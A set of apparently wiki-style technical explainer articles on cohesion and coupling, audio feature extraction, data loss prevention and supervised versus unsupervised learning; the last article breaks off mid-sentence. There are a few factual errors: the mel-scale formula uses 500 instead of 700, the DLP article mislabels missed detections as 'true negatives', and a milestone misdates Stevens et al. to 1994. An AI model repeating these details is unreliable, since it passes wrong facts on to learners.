{"text":"# Cohesion vs Coupling\n\n## Summary\n\n\nWhen a large software is decomposed into smaller modules, it's inevitable that these modules will interact with one another. If the boundaries of these modules have been poorly identified, then the modules will heavily depend and frequently interact with one another. In a poor design, it might also happen that classes and methods within a module perform diverse tasks and therefore don't seem to belong together. \n\n**Cohesion** is about how well elements within a module belong together and serve a common purpose. **Coupling** is about how much one module depends or interacts with other modules. Thus, cohesion is an intra-module concern whereas coupling cuts across modules. \n\nTo manage the complexity of an application, a software designer must find the right balance of cohesion and coupling. This is relevant to object-oriented design, the design of APIs and microservices.\n\n## Discussion\n\n### Could you explain cohesion and coupling with an example?\n\nConsider a software project with folders containing associated files. In one approach, folders `Entities`, `Factories`, `Repositories` and `Services` are created. This seems like a good organization but from a functional perspective there's tight coupling across folders. The boundaries don't reflect the semantics. For example, product management would involve `Product` entity, `ProductFactory`, `ProductRepository` and `ProductService` across all folders. Moreover, folders have logical cohesion but poor functional cohesion. For example, each factory deals with a different entity type and have little in common functionally. \n\nA better way to organize would be to have folders `Orders`, `Products` and `Users`. This organization is based on purpose and functionality. This is better because any change to product management would impact only files co-located in a single folder. Code is more readable and maintainable. Teams would be more independent, each working on its own folder. Each folder could also be versioned and released independently of others. \n\nIn short, low cohesion means the module is trying to do too many things. High coupling means modules are tightly interconnected via many complex interfaces and information flows. \n\n\n### How should I balance cohesion and coupling when designing software systems?\n\nIdeally, we should aim for **high cohesion and low coupling**. Related parts of code should be in the same module. Each module should be independent of others. Modules should interact in a minimal way. In modular programming, we use the term 'module' in a general sense. In practice, a module could be any of these, at different levels of abstraction: folder, JavaScript file, C++ class, C# assembly, Java package, Python module, REST endpoint, microservice, etc. \n\nApply the *Single Responsibility Principle (SRP)* for high cohesion. Use well-defined interfaces and inversion of control for low coupling. \n\nAn anti-pattern is when a piece of code does all the work. This is a monolith that some call a *God Object* or a *Big Ball of Mud*. There's also code that exhibits low cohesion and high coupling, when module boundaries are poorly defined. A developer might try to solve this via decoupling. But decoupling without cohesion will make the code even more difficult to follow. Using interfaces that don't represent an abstraction is an indication of **destructive decoupling**. \n\n\n### Why should I care about cohesion and coupling when my code works?\n\nIn any complex software, code is written once and maintained regularly. Those who maintain it are not necessarily those who originally wrote it. Therefore, the goal is to write code that's easy to maintain and evolve. \n\nCohesion makes it easier to understand code. If each module's purpose is clear, we can think at higher levels of abstraction without getting into detailed implementation of modules. For deployment, fewer modules are impacted. \n\nLow coupling means fewer interconnections across modules. It means one module can be changed or even replaced without impacting other modules. It means modules are isolated from the implementation details of others. Low coupling aids simulation and testing. \n\n\n### How are cohesion and coupling relevant to microservices?\n\nIf improperly architected, an application based on microservices might end up being a **distributed monolith**. In such an application, microservices are chatty, calling one another often. Changes to one microservice requires changes to others. Same developers work on the codebases of many microservices. Microservices share the same database or even code. \n\nTo solve these problems, one approach is to adopt **domain-driven design**. Restrict access using scoping rules. Use public APIs to encourage loose coupling. REST APIs shouldn't be tightly coupled to specific applications or services. Effectively, the idea is to get the boundaries right towards high cohesion and low coupling.\n\nIf a microservice relies on the physical address of another service, then there's tight location coupling. Service discovery tools can solve this. If a microservice needs to wait for another's response, there's temporal coupling. A message bus or event stream can solve this. \n\nFor testing, unit tests created for a microservice shouldn't impact integration or end-to-end tests. To verify interfaces across services, gRPC and Avro can help. Test coupling can be minimized by mocking APIs and dependent services. \n\n\n### Which are the different types of software cohesion?\n\nParts of a module that collectively perform a single well-defined function is the strongest type of cohesion. There are however many other types of cohesion, some more desirable than others:   \n\n    + **Coincidental cohesion**: Parts are not related and just happen to be in the same module. Such a module is hard to understand, maintain or reuse.\n    + **Logical cohesion**: Parts relate to different entities though they perform similar logical functions. For example, mouse inputs and keyboard inputs are handled in the same class.\n    + **Temporal cohesion**: Parts that are executed when something happens, such as start-up or clean-up routines. Code changes may affect many modules.\n    + **Procedural cohesion**: Code that's called one after another.\n    + **Sequential cohesion**: Similar to procedural cohesion with the additional constraint that the execution sequence is important. For example, call `readFile()` before calling `processData()`.\n    + **Communicational cohesion**: Also called information cohesion. Parts that share or operate on the same data.\n    + **Functional cohesion**: The most desirable type of cohesion. Parts work together in fulfilling a single function or purpose.\n\n### Which are the different types of software coupling?\n\nData and control are two types of information flow across modules. If only some data is exchanged, the amount of coupling is probably acceptable. Exchanging lots of data and control results in a high degree of coupling. \n\nHere are a few types of coupling:   \n\n    + **Content coupling**: One module modifies local variables of another module or branches execution into another module. Violates the principle of information hiding.\n    + **Control coupling**: Using control flags, one module controls the execution path in another module. Makes code hard to understand.\n    + **Common coupling**: Modules access global variables. Modules are bound together via shared data structures. Leads to unexpected side effects and error propagation.\n    + **Stamp coupling**: A module passes an entire data structure to another when only some data members are needed.\n    + **External coupling**: When interfacing with external tools, devices or libraries, module is coupled to the external device interface, communication protocol or data format.\n    + **Data coupling**: Use of parameter lists to pass data from one module to another.\n\n### Are there quantitative measures to evaluate software cohesion and coupling?\n\n**Relation Cohesion** (H) measures average number of internal relationships per type. Given N types and R internal relationships, `H=(R+1)/N`. A suitable range is 1.5-4.0. Higher values may indicate over-coupling internally. Another measure of cohesion is **Lack of Cohesion Of Methods (LCOM)**. LCOM has range 0-1. Zero is ideal. It's variant **LCOM Henderson-Sellers (LCOM HS)** has range 0-2. An LCOM HS value exceeding one is bad. \n\n**Afferent coupling** (Ca) measures the number of types in other modules that depend on elements of this module. A high value implies a module with many responsibilities. **Efferent coupling** (Ce) measures the number of types from outside the module used in this module. A high value implies a module highly dependent on others. These metrics could be applied to types, fields, methods, namespaces, etc. The ratio `Ce/(Ce+Ca)` is called **Instability**, which measures a module's resilience to change. A value of 0 is ideal. \n\nClass inheritance in OOP is a form of tight coupling. Some relevant metrics include weighted methods per class, depth of inheritance tree, number of children and count of base classes.  \n\n## Milestones\n\nJun  \n1974\n\nStevens et al. propose a method to reduce complexity. They call it **Structured Design** or **Composite Design**. A system can be divided and simplified into smaller pieces. This improves and speeds up the writing, debugging and modifying of code. This is because each part can be considered separately. However, identifying suitable \"modules\" of code is not trivial. They therefore introduce the concepts of cohesion and coupling.  \n\nJun  \n1994\n\nChidamber and Kemerer propose six **design metrics** to evaluate object-oriented design. They evaluate and interpret them on two real-world projects that use C++ and Smalltalk. The degree of similarity among methods is a measure of class cohesion. Class complexity can be measured by the number of methods and instance variables it contains, depth of inheritance and number of immediate descendants. Methods are a of measure communication complexity among classes. \n\n2001\n\nCraig Larman in his book *Applying UML and Patterns: An Introduction to Object-Oriented Analysis and Design and the Unified Process (2nd edition)* calls cohesion and coupling \"the yin and yang of software engineering.\" Bad cohesion usually results in bad coupling, and vice versa. He also notes that,\n\n> The level of coupling alone can't be considered in isolation from other principles such as expert and high cohesion.\n\n2003\n\nEric Evans publishes a book titled *Domain-Driven Design: Tackling Complexity in the Heart of Software*. He notes that as humans and designers, it's hard for us to think or reason about many concepts at a time (high coupling). We also find it hard to understand logically unrelated ideas (low cohesion). It therefore makes sense to recognize these limitations as we design software systems. \n\nJan  \n2014\n\nSoftware architect/designer Kirwan explains why the mantra of \"loose coupling and high cohesion\" may not work in practice. He points out flaws in the paper by Stevens et al. (1994). For example, maximizing cohesion is neither a clear concept nor desirable. Too many dependencies within a module gives no structural benefit. When change happens, its effect within the module could be as bad as across modules in a tightly coupled system. Thus, it's only a matter of perspective: are we looking at classes in a package or across packages?","meta":{"title":"Cohesion vs Coupling","href":"cohesion-vs-coupling"}}
{"text":"# Audio Feature Extraction\n\n## Summary\n\n\nApplication of machine intelligence and deep learning in the subdomain of audio analysis is rapidly growing. Some examples include automatic speech recognition, digital signal processing, and audio classification, tagging and generation. Virtual assistants such as Alexa, Siri and Google Home are largely built atop models that can perform perform artificial cognition from audio data.\n\nTo train any statistical or ML model, we need to first extract useful features from an audio signal. Audio feature extraction is a necessary step in audio signal processing, which is a subfield of signal processing. It deals with the processing or manipulation of audio signals. It removes unwanted noise and balances the time-frequency ranges by converting digital and analog signals. It focuses on computational methods for altering the sounds.\n\nThis article introduces most commonly used audio features that are used as inputs to models.\n\n## Discussion\n\n### What is an audio signal?\n\nAn audio signal is a representation of sound. It encodes all the necessary information required to reproduce sound. Audio signals come in two basic types: analog and digital. \n\nAnalog refers to audio recorded using methods that replicate the original sound waves. Examples include vinyl records and cassette tapes. Digital audio is recorded by taking samples of the original sound wave at a specified rate, called *sampling rate*. CDs and MP3 files are examples of digital formats.\n\nIn the real world, conversions between digital and analog waveforms are common and necessary. ADC (Analog-to-Digital Converter) and the DAC (Digital-to-Analog Converter) are part of audio signal processing and they achieve these conversions.\n\n\n### What are the common audio features useful for modeling?\n\nAudio features are description of sound or an audio signal that can basically be fed into statistical or ML models to build intelligent audio systems. Audio applications that use such features include audio classification, speech recognition, automatic music tagging, audio segmentation and source separation, audio fingerprinting, audio denoising, music information retrieval, and more. \n\nDifferent features capture different aspects of sound. Generally audio features are categorised with regards to the following aspects:  \n\n    + **Level of Abstraction**: High-level, mid-level and low-level features of musical signals.\n    + **Temporal Scope**: Time-domain features that could be instantaneous, segment-level and global.\n    + **Musical Aspect**: Acoustic properties that include beat, rhythm, timbre (colour of sound), pitch, harmony, melody, etc.\n    + **Signal Domain**: Features in the time domain, frequency domain or both.\n    + **ML Approach**: Hand-picked features for traditional ML modeling or automatic feature extraction for deep learning modeling.\n\n### How do we categorize audio features at various levels of abstraction?\n\nThese broad categories cover mainly musical signals rather than audio in general:  \n\n    + **High-level**: These are the abstract features that are understood and enjoyed by humans. These include instrumentation, key, chords, melody, harmony, rhythm, genre, mood, etc.\n    + **Mid-level**: These are features we can perceive. These include pitch, beat-related descriptors, note onsets, fluctuation patterns, MFCCs, etc. We may say that these are aggregation of low-level features.\n    + **Low-level**: These are statistical features that are extracted from the audio. These make sense to the machine, but not to humans. Examples include amplitude envelope, energy, spectral centroid, spectral flux, zero-crossing rate, etc.\n\n### Could you briefly explain the temporal scope for audio features?\n\nThis type of categorisation applies to audio in general, that is, both musical and non-musical: \n\n    + **Instantaneous**: As the name suggests, these features give us instantaneous information about the audio signal. These consider tiny chunks of the audio signal, in the range of milliseconds. The minimum temporal resolution that humans are capable of appreciating is around 10ms.\n    + **Segment-level**: These features can be calculated from segments of the audio signal in the range of seconds.\n    + **Global**: These are aggregate features that provide information and describe the whole sound.\n\n### Could you explain on the signal domain features for audio?\n\nSignal domain features consist of the most important or rather descriptive features for audio in general: \n\n    + **Time domain**: These are extracted from waveforms of the raw audio. Zero crossing rate, amplitude envelope, and RMS energy are examples.\n    + **Frequency domain**: These focus on the frequency components of the audio signal. Signals are generally converted from the time domain to the frequency domain using the *Fourier Transform*. Band energy ratio, spectral centroid, and spectral flux are examples.\n    + **Time-frequency representation**: These features combine both the time and frequency components of the audio signal. The time-frequency representation is obtained by applying the Short-Time Fourier Transform (STFT) on the time domain waveform. Spectrogram, mel-spectrogram, and constant-Q transform are examples.\n\n### Could you describe some time-domain audio features?\n\n**Amplitude Envelope** of a signal consists of the maximum amplitudes value among all samples in each frame. This feature gives a rough idea of loudness. It is however, sensitive to outliers. This feature has been extensively used for onset detection and music genre classification. \n\n**Root Mean Square Energy** is based on all samples in a frame. It acts as an indicator of loudness, since higher the energy, louder the sound. It is however less sensitive to outliers as compared to the Amplitude Envelope. This feature has been useful in audio segmentation and music genre classification tasks. \n\n**Zero-Crossing Rate** is simply the number of times a waveform crosses the horizontal time axis. This feature has been primarily used in recognition of percussive vs pitched sounds, monophonic pitch estimation, voice/unvoiced decision for speech signals, etc. \n\n\n### What are the audio features under the ML approach?\n\n**Traditional Machine Learning** approach considers all or most of the features from both time and frequency domain as inputs into the model. Features need to be hand-picked based on its effect on model performance. Some widely used features include Amplitude Envelope, Zero-Crossing Rate (ZCR), Root Mean Square (RMS) Energy, Spectral Centroid, Band Energy Ratio, and Spectral Bandwidth.\n\n**Deep Learning** approach considers unstructured audio representations such as the spectrogram or MFCCs. It extracts the patterns on its own. By late 2010s, this became the preferred approach since feature extraction is automatic. It's also supported by the abundance of data and computation power. \n\nCommonly used features or representations that are directly fed into neural network architectures are spectrograms, mel-spectrograms, and Mel-Frequency Cepstral Coefficients (MFCCs).\n\n\n### What are spectrograms?\n\nA spectrogram is a visual depiction of the spectrum of frequencies of an audio signal as it varies with time. Hence it includes both time and frequency aspects of the signal. It is obtained by applying the Short-Time Fourier Transform (STFT) on the signal. In the simplest of terms, the STFT of a signal is calculated by applying the Fast Fourier Transform (FFT) locally on small time segments of the signal. \n\n\n### What is a mel-spectrogram?\n\nApparently, we humans perceive sound logarithmically. We are better at detecting differences in lower frequencies than higher frequencies. For example, we can easily tell the difference between 500 and 1000 Hz, but we will hardly be able to tell a difference between 10,000 and 10,500 Hz, even though the distance between the two pairs is the same. Hence, the **mel scale** was introduced. It is a logarithmic scale based on the principle that equal distances on the scale have the same *perceptual* distance. \n\nConversion from frequency (f) to mel scale (m) is given by\n\n$$ m=2595 \\cdot log(1+\\frac{f}{500}) $$\n\nA mel-spectrogram is a therefore a spectrogram where the frequencies are converted to the mel scale.\n\n\n### What are MFCCs?\n\nThe information of the rate of change in spectral bands of a signal is given by its cepstrum.  A cepstrum is basically a spectrum of the log of the spectrum of the time signal. The resulting spectrum is neither in the frequency domain nor in the time domain and hence, it was named the **quefrency** (an anagram of the word *frequency*) domain. The Mel-Frequency Cepstral Coefficients (MFCCs) are nothing but the coefficients that make up the mel-frequency cepstrum. \n\nThe cepstrum conveys the different values that construct the formants (a characteristic component of the quality of a speech sound) and timbre of a sound. MFCCs thus are useful for deep learning models.\n\n\n### What is Band Energy Ratio?\n\nThe Band Energy Ratio (BER) provides the relation between the lower and higher frequency bands. It can be thought of as the measure of how dominant low frequencies are. This feature has been extensively used in music/speech discrimination, music classification etc.\n\n\n### Could you explain the Spectral Centroid and Spectral Bandwidth features?\n\nThe Spectral Centroid provides the center of gravity of the magnitude spectrum. In other words, it gives the frequency band where most of the energy is concentrated. It maps into a very prominent timbral feature called \"brightness of sound\" (energetic, open, dull). Mathematically, the spectral centroid is the weighted mean of the frequency bins. \n\nThe spectral bandwidth or spectral spread is derived from the spectral centroid. It is the spectral range of interest around the centroid, that is, the variance from the spectral centroid. It has a direct correlation with the perceived timbre. The bandwidth is directly proportional to the energy spread across frequency bands. Mathematically, it is the weighted mean of the distances of frequency bands from the Spectral Centroid. \n\n\n### Which libraries provide the essential tools for audio data processing?\n\nLibrosa and TorchAudio (Pytorch) are two Python packages that used for audio data pre-processing.\n\n## Milestones\n\n1928\n\nCreation of the **Nyquist-Shannon sampling theorem**. Harry Nyquist shows that up to 2B independent pulse samples could be sent through a system of bandwidth B. \n\n1951\n\nThe Kay Electric Co. produces the first commercially available machine for audio spectrographic analysis, which they market under the trademark *Sona-Graph*. The graphs produced by a Sona-Graph come to be called **Sonagrams**. For decades, all spectrograms are called Sonagrams. \n\n1957\n\nMax Mathews becomes the first person to **synthesize audio** from a computer, giving birth to computer music. \n\n1963\n\nThe concept of the **cepstrum** is introduced by B. P. Bogert, M. J. Healy, and J. W. Tukey . After publication of the FFT in 1965, the cepstrum is redefined so as to be reversible to the log spectrum. Shortly afterwards, Oppenheim and Schafer define the **complex cepstrum**, which is reversible to the time domain. \n\n1965\n\nThe **Fast Fourier Transform (FFT)** algorithm is developed by Cooley and Tukey. It reduces the computational complexity of Discrete Fourier Transform (DFT) significantly from \\(O(N^2)\\) to \\(O(N \\cdot log\\_{2}N)\\). \n\n1988\n\nLewis and Todd propose the use of **neural networks** for automatic music composition. Lewis uses a multi-layer perceptron for his algorithmic approach to composition called \"creation by refinement\". On the other hand, Todd uses a Jordan auto-regressive neural network (RNN) to generate music sequentially — a principle that stays relevant in decades to come.\n\n2002\n\nMarolt et al. use a **multi-layer perceptron** operating on top of spectrograms for the task of note onset detection. This is the first time that someone processes music in a format that is not symbolic. This starts a new research era: learning a mapping system (or function) able to solve a task directly from raw audio, as opposed to solving it using engineered features (like spectrograms) or from symbolic music representations (like MIDI scores). \n\n2009\n\nFollowing Hinton's approach based on pre-training deep neural networks with deep belief networks, Lee et al. build the first deep **convolutional neural network** for music genre classification. This is the foundational work that establishes the basis for a generation of deep learning researchers designing better models to recognize high-level (semantic) concepts from music spectrograms. \n\n2014\n\nDieleman and Schrauwen build the first **end-to-end music classifier**. They explore the idea of directly processing waveforms for the task of music audio tagging. They achieve some degree of success, though spectrogram-based models are still superior to waveform-based ones.\n\n2016\n\nDeepmind introduces *WaveNet*, a deep generative model of raw audio waveforms. It is able to generate relatively realistic-sounding human-like voices by directly modeling waveforms using a neural network method trained with recordings of real speech.\n\nApr  \n2020\n\nOpenAI introduces *Jukebox*, a model that generates music with singing in the raw audio domain. They use VQ-VAE and the power of transformers to show that the combined model at scale can generate high-fidelity and diverse songs with coherence lasting multiple minutes.","meta":{"title":"Audio Feature Extraction","href":"audio-feature-extraction"}}
{"text":"# Data Loss Prevention\n\n## Summary\n\n\nCollection, management and use of data has become important to many organizations. In some cases, data is central to their products and services. Some of this data could be sensitive information about partners or customers. In other cases, data-driven decisions give organizations a competitive edge. Losing this data can therefore impact business operations and even threaten survival.\n\nData loss prevention (DLP) is about being proactive in protecting data. It's about implementing processes and best practices, about adopting the right tools and technologies to prevent data loss. A well-defined organization-wide DLP approach is likely to work better than ad hoc approaches within individual departments. \n\nDLP generally involves protecting data in use, data in motion and data at rest. Protection can be categorized into endpoint, network or storage DLP. Given different types of data and many touchpoints, an effective strategy is to combine different DLP techniques.\n\n## Discussion\n\n### What types of data matter for DLP?\n\nImportant data that need protection include intellectual property (source code, design documents, etc.), corporate data (legal, financial, employee data, etc.), and customer data (name, address, credit card numbers, etc.). Data can either be structured (well organized and easy to process) or unstructured (more qualitative and harder to process). \n\nBroadly, data comes in three states, all of which need to be protected: \n\n    + **Data in Use**: Data while it's being used by an application or an endpoint.\n    + **Data in Motion**: Data while it's being transferred over a network.\n    + **Data at Rest**: Data while it's stored on a file server within an enterprise network, in a storage service in the cloud or in a portable storage device.\n\n### What are the common causes of data losses?\n\n**Accidental deletion** of files or even parts of a file are data losses, particularly when backups are not available. File system updates are common everyday operations. Hence, accidental deletion is a real risk. Such a loss can happen due to wrong user operation, bugs in automation scripts or system misconfiguration. \n\nData is commonly stored on hard drives. Data loss from **hard drive failures** is a real possibility. Failures could be due to mechanical fault, overheating, mishandling, liquid damage, etc. Physical damage to equipment can also occur to due fires, explosions, or natural disasters. \n\nA sudden system shutdown due to a **power outage** can damage hard drives. Data could be unrecoverable even after power is restored. In general, if systems are shutdown improperly or power supply is unstable, there's a chance of data loss. \n\n**Viruses or malware** can result in attackers stealing, deleting or corrupting data. Entry point for these are usually third-party application links, external hard drives, pen drives, and memory cards. Another external threat is physically stealing a device that contains data. \n\n\n### What are the types of data loss prevention?\n\nData loss prevention solutions are primarily classified based on type and source of data:   \n\n    + **Endpoint DLP**: Organizations have a variety of endpoints, from portable devices (pen drives, cell phones, hard drives) to fixed devices (servers, workstations, printers). Endpoint DLP solutions are installed on such devices. For example, endpoint DLP can log or prevent file copying or sharing.\n    + **Network DLP**: Applicable to all networked devices and to all network-accessible data. For example, when a user attempts to email sensitive information on a corporate network, network DLP could encrypt or block the data. Network DLP is common in enterprises that handle high volumes of data.\n    + **Cloud DLP**: May be considered a subset of Network DLP. Applicable to enterprises that use cloud services.\n    + **Storage DLP**: The focus is on the access and sharing of data while it's in storage. Alerts are triggered when data is not stored securely. Storage DLP is common for data warehouses and data lakes.\n\n### What are some specific DLP techniques?\n\nBroadly, techniques cover prevention, detection, response and analysis. A comprehensive DLP solution should address all aspects of data security: storage and transmission; encryption and key management; authentication and authorization; real-time monitoring of both network traffic and endpoint activity; threat detection and alerting; data backup and recovery plan; up-to-date policies; regulatory compliance; on-premise or cloud security. \n\nEven when storage systems are secured against intrusion, logical protection controls must be in place. This includes encrypting, masking, and anonymizing data before it goes into storage. This gives additional protection against exposure or misuse should data be stolen. \n\nEncryption can be applied for both data at rest and in motion. Cryptographic hashing can be used to anonymize personally identifiable information data. Data fingerprinting can be used to identify and track data. Content can be analyzed via rules-based expressions, database fingerprinting, partial document matching, full document matching (using file hash), domain identification, and statistical analysis. \n\nFor better user awareness, we could add visible metadata to headers or footers, or watermarks. These are visible reminders to users not to share sensitive data. \n\n\n### What do you mean by security policies and rules in DLP?\n\nPolicies determine how sensitive is a piece of data and what operations are allowed on that data. Policies may define who can access it, if it can copied internally or externally, if it should be encrypted, if it can be attached in an email, who to notify for unauthorized access, and so on. Rules are mechanisms that implement policies.\n\nData classification is critical to enforcing these policies. Data categories or classes may include Top Secret, Confidential and Public; or alternatively, Public, Private or Restricted. Or they could be aligned to standards such as GDPR or HIPAA. \n\nCreating effective policies involves a few steps. Start by asking what types of data are available, where they're stored, who can access them and who's accessing them. Start with classifying different types of data and how important is each one to the business. Assess risk factors and vulnerabilities. Data that's not relevant to the business can be deleted, thus optimizing DLP implementation. Document the policies in detail. This helps implementation and compliance. Enforce the policies across the organization. Collect metrics to know how well DLP is working. Automate workflows. \n\n\n### What metrics can help in assessing maturity of a DLP solution?\n\nData classification is typically done by a trained software model that comes with a certain performance. Sometimes the model may fail to identify sensitive data. This is the problem of **true negatives**. This is a critical failure since a lenient policy would be applied and the sensitive data could get stolen or lost. The other problem is one of **false positives** whereby non-sensitive data is classified as sensitive and a strict security policy is unnecessarily applied to it. This reduces usability and productivity.  \n\nPolicies can have **exceptions**. For example, a user may be given temporary access to a document. Many exceptions can mean that the policy probably needs to be refined. \n\nA high **number of unmanaged devices** is not ideal for an enterprise. This metric should be kept low. Laptops, smartphones, and removable storage devices are endpoints. If these are outside the control of the IT department, enforcing DLP policies will not be possible. \n\nIf an issue is detected, we wish to fix it quickly. **Alert response time** is a metric to motivate workflow optimizations. \n\n\n### What are best practices for implementing a strong DLP?\n\nImplementing DLP is not a one-time effort. \"Setting and forgetting\" is a recipe for failure. Review and adapt policies, approaches, tools and technologies as the business evolves. When new to DLP, implement in phases based on priorities. Define the primary objective for implementing DLP. Align DLP with existing security architecture. \n\nApply DLP at every stage of a data's lifecycle, be it collection, storage, analysis, update, migration, deletion or archival. Create easy-to-follow security rules. Rules should not be too restrictive that they affect productivity. While relying on tools, don't forget to train people.  \n\nAn organization must have a centralized DLP program, which also makes it easier to update DLP strategy and policies. Avoid ad hoc DLP approaches at different departments. \n\nDLP solutions should comply with industry regulations such as GDPR, HIPAA (healthcare information), SOX, and PCI DSS (credit card data).  \n\n\n### What's the approach to data classification in DLP?\n\nEffective DLP can happen only when data is correctly classified, be it structured or unstructured data. Define and execute policies as relevant to each data type. Adopt or create a classification system that can be easily customized. Preconfigured classification methods can be a starting point. \n\nAutomatic classification will be more consistent and reliable than asking users to classify their data. There are many approaches to data classification. It can be as simple as applying regular expressions or heuristics. For example, a 16-digit string can imply credit card information. \n\nA more sophisticated approach is to train and deploy machine learning models. Models could be trained to recognize sensitive information, inside information, public information, personally identifiable information (PII), financial data, regulated data, intellectual property, and more. \n\nOne way to aid data classification is to insert metadata at the point of creating or saving the data. Metadata could include file format, author, date of creation/update, confidentiality level, etc. Metadata also speeds up search and classification. \n\n\n### Could you describe some DLP products?\n\nSymantec, McAfee, Web-sense, SecureTrust, Check Point, Digital Guardian, SolarWinds, CoSoSys, CrowdStrike, Trustifi and ManageEngine offer DLP products and solutions.  \n\nLepide Data Security Platform and McAfee DLP are example solutions that can analyze metadata and data to discover and classify data.  Netwrix has a data classification product that includes features such as reusable index for better performance, flexible taxonomy manager that enables companies easily self-manage their data, transparency that informs users why a document was classified in a particular way, and remediation workflows to redact content, quarantine files, or revoke permissions. \n\nExamples of DLP implemented in the cloud are Google's Cloud DLP, Nightfall and Acronis. Cloud DLP can scan/discover/classify data, mask sensitive data, and statistically measure re-identification risks. Nightfall automates classification, monitoring, alerting and redaction. In general, cloud DLP solutions integrate via APIs to various other systems (Slack, Google Drive, Jira, etc.) and hence prevent data loss via these systems. \n\nCloudflare One and API Shield are tools that implement DLP for data on Cloudflare. \n\n\n### What are the limitations of data loss prevention?\n\nThere are ways to bypass DLP techniques. Malicious actors on the inside can send encrypted files that DLP tools can't scan or classify. DLP tools may be unable to handle large files. Users can also take screenshots and embed them into documents. Data can be obfuscated by simply setting the font to Wingdings. \n\nDLP rules need to actively monitored and maintained. Data classification is rarely perfect. False positives and false negatives are a problem. \n\nWith cloud-based DLP solutions, sensitive data is processed in the cloud, which is at odds with enterprises not willing to send such data outside their networks. \n\n## Milestones\n\n1980\n\nIn the early 1980s, the **first computer viruses** are created. Created as curiosities, these later are evolved for malicious purposes. At a keynote speech for the *Chaos Computer Club*, German computer engineer Berger encourages others to explore such viruses. \n\n1986\n\nA virus called *Brain* is created by two Pakistani brothers. It infects the boot sector of storage media formatted with the DOS File Allocation Table (FAT) file system. It's creators claim that the virus is intended to be mostly harmless, simply displaying a copyright message about the pirated software and changing the name of the floppy drive. However, many people report that the virus has wiped their data or made their drives slow and unresponsive. \n\n2014\n\nHackers steal credit card data of more than 50 million customers of Home Depot. Home Depot incurs a loss of $260 million. This is just one example to highlight the high cost of data loss and the need for DLP. On the whole, very high-profile data breaches are discovered all through the 2010s: Target (2013), Yahoo (2013), U.S. Voter database (2015), AdultFriendFinder (2016), etc. \n\n2015\n\nDuring this decade, as more of enterprise data starts moving to the cloud, so does the need and adoption of **cloud-based DLP** solutions. Performance requirements also demand that DLP be done in the cloud. DLP that initially started with compliance focus transitions during the 2010s towards threat detection, privacy and protected of personal data. It's been said that,\n\n> The best uses for DLP today live under a triple umbrella of security, privacy, and compliance.\n\n2016\n\nThe U.S. government releases the *Data Security Policy Principles Framework for the Precision Medicine Initiative (PMI)* that was launched by President Obama in early 2015. This sets guidelines and expectations to protect sensitive patient data. \n\n2020\n\nThe National Institute of Standards and Technology (NIST) releases version 1.0 of the *NIST Privacy Framework: A Tool for Improving Privacy through Enterprise Risk Management*. It offers enterprises guidelines towards protecting personal data. The document also links the Privacy Framework to NIST's Cybersecurity Framework.","meta":{"title":"Data Loss Prevention","href":"data-loss-prevention"}}
{"text":"# Supervised vs Unsupervised Learning\n\n## Summary\n\n\nMachine Learning is the art and science of training machines with data without explicitly programming them. The Machine Learning algorithms can be classified into Supervised and Unsupervised Learning algorithms.\n\nIn Supervised Learning, the model is presented with input and desired output. The model learns from this data and is then presented with new data to make predictions i.e. either classify them or predict numeric values.\n\nIn contrast, the Unsupervised models work on their own to analyze the data provided to them and find underlying patterns and relationships between the input/output variables without any prior training of data. \n\nThe main difference between both is that a Supervised model learns from the data by making predictions iteratively and adjusting for the correct answer thereby making it more reliable than an Unsupervised model which has no idea what the values for the output might be.\n\n## Discussion\n\n### Explain the working behind both the algorithms.\n\n**Supervised Learning** involves a training set that has labeled data and the goal is to find a mapping function that maps the inputs to desired outputs. \n\nFor example, the model is given a dataset say, fruits, it gathers all the information like shape, size, taste, and name of the fruit and learns about each type of data. Once the model gets trained, it is presented with a new fruit (test data), using the training data, the model will predict the name of the fruit by analyzing all the information learned previously. \n\nUnlike Supervised Learning, **Unsupervised Learning** exhibits self-organization. The algorithm is provided with unlabeled and unclassified data and is expected to find hidden features from the data. It involves the grouping of data based on similarities, patterns, or differences without any guidance. \n\nFor example, the model is fed with unlabeled data of cats and dogs. The model divides the data into two different clusters without knowing their labels. Now, when it is presented with a cat's image (test data), based on the knowledge gathered, it will put it into the cat's cluster. \n\n\n### Explain Supervised and Unsupervised Learning with real-life examples.\n\nWe can take a real-life example of a baby and a family dog. She recognizes her family dog. When she is introduced to a new dog, she identifies it as a dog because it has the same features (4 legs, 2 ears, 2 eyes) as her dog. This is *Unsupervised Learning*. If it would have been *Supervised Learning*, a family member would have told her that it's a dog.\n\nSupervised Learning use cases include:\n\n    + Classifying whether an email is Spam or not\n    + Predicting house prices\n    + Predicting weather conditions\n    + Predicting whether a Customer is happy with the service or notUnsupervised Learning use cases include:\n\n    + Finding correlations in customer data\n    + Classifying people based on interest\n    + Grouping customers by their purchase behavior\n    + Reducing the complexity of a problem\n\n### What types of problems are solved using Supervised and Unsupervised Learning Algorithms?\n\nSupervised Learning can be broadly classified into Classification and Regression problems.\n\n    + **Classification** problems use algorithms to allot the data into categories such as true-false or some specific categories like apple-oranges etc. Classification of an email as Spam or not is an example. Support Vector Machine and Decision Tree, etc are some classification algorithms.\n    + **Regression** problems use algorithms to predict some numerical value or find a relation between input and output variables. Weather Forecasting is a regression example. Linear Regression is a regression algorithm.Unsupervised Learning can be categorized into Clustering, Association and Dimensionality Reduction .\n\n    + **Clustering** involves grouping the data into clusters based on similarities or differences. Market Segmentation is a clustering example. K-Means Clustering is one of the clustering algorithms.\n    + **Association** determines the set of items that occur together in the dataset. A real-life example is Market Basket Analysis. Apriori, Eclat, F-P Growth are some association algorithms.\n    + **Dimensionality Reduction** refers to reduce the dimension of a dataset so that they can be easily processed by supervised algorithms. There are two steps involved i.e. feature selection and feature extraction.\n\n### What are the Advantages and Disadvantages of using Supervised Learning over Unsupervised Learning?\n\nThe results produced by Supervised models tend to be more accurate and reliable than those produced by Unsupervised models since the data of supervised is well known and labeled.\n\nSupervised Learning can get more specific about the data and output which is not possible in the case of Unsupervised Learning as it's the job of the model to group the data and find the hidden patterns.\n\nThe results of supervised model can be ascertained as there is prior knowledge about the classes invovled. Contrarily, unsupervised output cannot be ascertained.\n\nSupervised Learning model is considered a little complex as compared to Unsupervised model as the Supervised model might require a lot of computation time to train and the labels for input/output variables require expertise. This is why unsupervised techniques are preferred. \n\nSupervised algorithms are not suitable for handling complex tasks which Unsupervised algorithms handle perfectly. For example, if the test data is a little different from training data, the supervised algorithm will yield incorrect results.\n\n\n### How is Supervised Learning different from Unsupervised Learning?\n\nSome key differences are as follows:\n\n    + **Goals**: The goal of Supervised Learning is to train the model with labeled data so that it predicts correct output when given test data whereas the goal of Unsupervised Learning is to process large chunks of data to find out interesting insights, patterns, 